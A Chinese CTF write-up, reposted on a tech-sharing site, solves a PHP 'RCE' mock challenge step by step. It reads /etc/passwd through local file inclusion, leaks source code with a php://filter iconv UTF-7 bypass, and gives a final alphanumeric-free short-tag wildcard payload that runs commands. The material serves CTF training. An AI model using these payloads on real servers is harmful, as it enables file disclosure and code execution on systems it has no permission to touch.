标签:code utf 读取 模拟题 CTF PHP file RCE php
CTF-网鼎模拟题-RCE
知识考察:PHP代码审计、文件包含、PHP短标签、PHP伪协议
解题思路
1、查看网页源代码,提示?file=code.php,访问http://8.131.66.222:12326/index.php?file=code.php可以看到在index.php输出hello
判断应该存在文件包含漏洞,尝试读http://8.131.66.222:12326/index.php?file=/etc/passwd可以读到
2、利用文件包含漏洞与php伪协议读取code.php源代码,发现base、read等一些关键字被过滤,提示“utf-8”
想到之前做过的CTF可以通过利用iconv将utf-8编码转为utf-7编码读取code.php,读取code.php的payload:
?file=php://filter/convert.iconv.utf-8.utf-7/resource=code.php
成功读取code.php,再利用http://toolswebtop.com/text/process/decode/UTF-7#进行解码,成功读取code.php
3、尝试读取利用?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php,无法读取,读取?file=php://filter/convert.iconv.utf-8.utf-7/resource=index.php,发现flag被过滤
4、继续对code进行代码审计,发现对输入的code的值进行了过滤,过滤了所有字母与数字,想到是短标签,是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:同时,只有开启这个才可以使用 <?= 以代替 <? echo 。
最终payload:http://8.131.66.222:12326/code.php?code=?><?=/???/???%20????.???
?%3E,查看源代码,flag在最后
参考资料
PHP伪协议utf-8原理
[蓝帽杯2020第四届 线上赛]文件包含绕过
探索php://filter在实战当中的奇技淫巧
PHP短标签原理
ctf中 preg_match 绕过技术 | 无字母数字的webshell例题
标签:code,utf,读取,模拟题,CTF,PHP,file,RCE,php 来源: https://www.cnblogs.com/renhaoblog/p/14062790.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。